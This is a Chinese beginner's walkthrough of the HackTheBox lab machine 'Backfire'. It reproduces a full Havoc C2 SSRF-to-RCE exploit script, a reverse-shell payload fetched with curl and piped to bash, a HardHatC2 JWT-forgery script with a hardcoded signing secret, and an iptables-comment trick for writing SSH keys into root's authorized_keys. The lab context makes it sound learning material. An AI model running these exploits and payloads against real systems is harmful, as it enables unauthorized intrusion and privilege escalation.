[HTB] 靶机学习(四)Backfire

概要

学习hackthebox的第四天,本人为初学者,将以初学者的角度对靶机渗透进行学习,中途可能会插入一些跟实操关系不大的相关新概念的学习和解释,尽量做到详细,不跳步,所以也会有理解不正确的地方,欢迎大佬们提出指正

端口扫描

nmap -sC -sV 10.10.11.49

22/tcp   open     ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_  256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp  open     ssl/http nginx 1.22.1
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=/stateOrProvinceName=Connecticut/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-11-23T03:33:14
|_Not valid after:  2027-11-23T03:33:14
|_ssl-date: TLS randomness does not represent time
|_http-title: 404 Not Found
|_http-server-header: nginx/1.22.1
5000/tcp filtered upnp
8000/tcp open     http     nginx 1.22.1
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 12:31  disable_tls.patch
| 875   17-Dec-2024 12:34  havoc.yaotl
|_
|_http-title: Index of /
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

443端口是404,尝试目录扫描也没有结果,看一下8000端口的两个文件,看起来靶机运行了Havoc c2 teamserver,是一个类似cobalstrike的后渗透框架

看看官方文档
https://havocframework.com/docs/profiles

disable_tls.patch内容,使用ws协议管理40056端口,禁用了TLS,因为只允许本地连接,他们使用ssh转发来连接,他认为很安全,且sergej无法工作,从havoc.yaotl来看,应该意思是使用sergej用户无法连接c2服务端,这些将会成为我们后面的一些思路,比如ssh端口转发等

Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so 
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();
 
     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();
 
     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
 		}
 
 		// start the teamserver
-		if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+		if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
 			logger.Error("Failed to start websocket: " + err.Error())
 		}
 

havoc.yaotl内容,经过查询,是Havoc c2服务端的profile配置文件,开放在本地的40056端口,还有http监听器等配置,找到了两个能连接服务端的havoc c2客户端用户密码

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

尝试ssh直接密码登录,显示需要私钥登录,两个用户都是这样

Havoc C2 RCE

找一下havoc c2有没有漏洞

发现了一个rce
https://github.com/sebr-dev/Havoc-C2-SSRF-to-RCE/blob/main/CVE-2024-41570.py

修改一下exp内容

cmd = 'curl 10.10.16.8:8888/shell.sh | bash'

若装完库还是遇到ModuleNotFoundError: No module named 'Crypto'

python的库包把crypto文件夹改成Crypto即可

kali也是如此修改,启动web服务

python -m http.server 8888 

shell.sh内容

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.14/6666 0>&1

CVE-2024-41570.py内容

# Exploit Title: Havoc C2 0.7 Unauthenticated SSRF + Authenticated RCE
# Date: 2025-01-21
# Exploit Author: @_chebuya (SSRF), @hyperreality (Auth RCE)
# Software Link: https://github.com/HavocFramework/Havoc
# Version: v0.7
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-41570

# Description: This exploit works by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more.

# Github: https://github.com/chebuya/Havoc-C2-SSRF-poc
# https://github.com/IncludeSecurity/c2-vulnerabilities/tree/main/havoc_auth_rce

# Blog: https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/
# https://blog.includesecurity.com/2024/09/vulnerabilities-in-open-source-c2-frameworks/

import binascii
import random
import requests
import argparse
import hashlib
import json
import urllib3
urllib3.disable_warnings()


from Crypto.Cipher import AES
from Crypto.Util import Counter

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):

    if len(key) <= key_bytes:
        for x in range(len(key),key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    # DEMON_INITIALIZE / 99
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data =  b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id

    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"

    # SOCKET_COMMAND_OPEN / 16
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"

    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"


    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"

    # SOCKET_COMMAND_READ / 11
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"

    # SOCKET_TYPE_CLIENT / 3
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand+socket_id+socket_type+success+data_length+data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data

    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    # COMMAND_GET_JOB / 1
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""


    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]


def create_websocket_frame(payload, opcode=0x1):
    """Create properly formatted WebSocket frame"""
    # Generate random 4-byte mask
    mask = bytes([random.randint(0, 255) for _ in range(4)])
    
    payload_bytes = payload.encode() if isinstance(payload, str) else payload
    length = len(payload_bytes)
    
    # Frame header
    if length <= 125:
        header = bytes([0x81, 0x80 | length])  # FIN=1, Opcode=1, MASK=1
    elif length <= 65535:
        header = bytes([0x81, 0xFE]) + length.to_bytes(2, 'big')
    else:
        header = bytes([0x81, 0xFF]) + length.to_bytes(8, 'big')

    # Mask the payload
    masked_payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload_bytes))
    
    return header + mask + masked_payload


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-U", "--username", help="The username for authentication", required=True)
parser.add_argument("-P", "--password", help="The password for authentication", required=True)

parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()


# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
        "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes("Administrator", encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
handshake = (
    "GET /havoc/ HTTP/1.1\r\n"
    "Upgrade: websocket\r\n"
    f"Host: {args.ip}:{args.port}\r\n"
    "Sec-WebSocket-Key: 9yYVydK/Y9djuKTULrQ8yg==\r\n"
    "Sec-WebSocket-Version: 13\r\n"
    "Connection: Upgrade\r\n\r\n"
)

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

# Update socket writes with proper framing
write_socket(socket_id, handshake.encode())
response = read_socket(socket_id)
print(response.decode())

# Send auth payload with proper frame
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(args.password.encode()).hexdigest(), "User": args.username}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": args.username}}
frame = create_websocket_frame(json.dumps(payload))
write_socket(socket_id, frame)
response = read_socket(socket_id)
print(response.decode())

payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":args.user_agent},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": args.username}}
frame = create_websocket_frame(json.dumps(payload))
write_socket(socket_id, frame)
response = read_socket(socket_id)
print(response.decode())

cmd = 'curl 10.10.16.8:8888/shell.sh | bash'
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"" + injection + "\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
        "Event": 5, "OneTime": "true", "Time": "18:39:04", "User": args.username}}
frame = create_websocket_frame(json.dumps(payload))
write_socket(socket_id, frame)
response = read_socket(socket_id)
print(response.decode())

在kali上运行poc

python CVE-2024-41570.py -t https://10.10.11.49 -i 127.0.0.1 -p 40056 -U ilya -P CobaltStr1keSuckz!

反弹成功,在家目录找到user.txt,第一个flag,9f5bb4442a271944ae07115b1bf63a43

登录进去发现一会就会断开shell,考虑如何持久化

ssh持久化

创建ssh密钥对,提示输入密码,我还是用CobaltStr1keSuckz!

ilya@backfire:~$ ssh-keygen -f ilya

会在当前目录生成两个文件,一个ilya->私钥,一个ilya.pub->公钥
然后把公钥追加到authorized_keys

cat ilya.pub >> .ssh/authorized_keys

然后把私钥复制粘贴到kali中,我是创建一个key文件,粘贴进去

ssh -i key ilya@10.10.11.49

由于key的权限太高,需要修改为600
chmod 600 key ,然后登录成功

尝试sudo -l提权,密码错误,再翻翻其他文件
看到hardhat.txt,似乎又是另一个c2框架

查一下hardhat c2的配置,https://www.ddosi.org/hardhatc2/
默认情况,teamserver服务端在5000端口,客户端在7096端口

看一下是否有启动hardhat c2服务,确实有5000和7096两个端口在监听,找一下有没有漏洞

提权

https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7

观察下面两个利用点,未授权创建TeamLead角色,然后登录客户端,进行RCE,所以需要先将两个端口转发出来

ssh端口转发

ssh -i key ilya@10.10.11.49 -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

HardHatC2 0-Days (RCE & AuthN Bypass)

exploit_jwt.py,在原来的基础上修改rhost即可

# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests

rhost = '127.0.0.1:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",  
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
  "Authorization": f"Bearer {token}",
  "Content-Type": "application/json"
}
burp0_json = {
  "password": "sth_pentest",
  "role": "TeamLead",
  "username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

若遇到如下情况AttributeError: module 'jwt' has no attribute 'encode',是因为装错包了,装PyJWT即可

pip3 uninstall jwt -y 
pip install PyJWT


python3 exploit_jwt.py,创建用户成功

访问https://127.0.0.1:7096, 用户名和密码都是sth_pentest,但发现不是root权限

先像之前一样创建密钥对,这次不输入密码了,复制公钥和私钥,然后连接

ilya@backfire:~$ ssh-keygen -f sergej
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDR+oUi8l7u2AXS1pRww/omm+3IcR5ryciuUbCn+gt5pVTa7hmpA+j5bj6klR+EC2Uau1OcpOnHjM6KinKn4aftN+GAferjClMZC93Z7sjGDHW6SNPbiRaGd2XHnW5L4Mrbjg2SP7lBtQvl51iEA3Y1Jw45eKuPXtp4OQdC+en1HgOwq1geU/LzrM1pomqrNHRc+CBpW59Hvqzn2X8UYVKWG6g8S6fwBS5OgeTH0lg+aPFC3YWt4kEy42R0of+/FnTVrULD81r4g8Y271o4GCCIlVsi/tuR4Y2lts8HP9uU6/jnbrZa6n81kZWF6rQwM0pZPQj5mvCeY5hwCRfRTT72SV9GBUg7oQuxYu2YR8RAgF5azGIUh12tcsJygbj1g8SJHTJrqnmHdcsLyMgkT6tpSKD25voowXk7SwMOcz6oRRlHYMK1v3jPwDxtDdTxTpFJ9gM1Re/g4ulROSePZ4BMvzYCAKadCN7H9ZB5ezrV7EiBnsu9v/djgPGiTBectmc= ilya@backfire" >> /home/sergej/.ssh/authorized_keys

转半天,其实已经写入了,然后使用私钥登录即可

iptables配合iptables-save任意文件写入提权

sudo -l,发现iptablesiptables-save可以用来提权

参考
https://cn-sec.com/archives/3193918.html
https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/

使用openssl生成一个

openssl passwd 123          
$1$kYgGY7J/$.AoiWr0TznCXsmP2EInfN1

然后cat /etc/passwd

sergej@backfire:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

root这一行复制过来,x替换成刚刚生成的密码,注意前后要加\n换行符

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$kYgGY7J/$.AoiWr0TznCXsmP2EInfN1:0:0:root:/root:/bin/bash\n'
sudo iptables -S
sudo iptables-save -f /etc/passwd

不太行,试试写入其他文件,老样子,写入公钥,因为comment有长度限制,使用ed25519算法

ssh-keygen -t ed25519
cat .ssh/id_ed25519.pub
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILT8IuSd6Yd+0EYj7xgf4TaehIgKblw0TRxyS20ZIoLh sergej@backfire\n'
sudo iptables -S
sudo iptables-save -f /root/.ssh/authorized_keys


再把私钥复制到kali上
ssh -i key2 root@10.10.11.49
查看root.txt,得到第二个flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值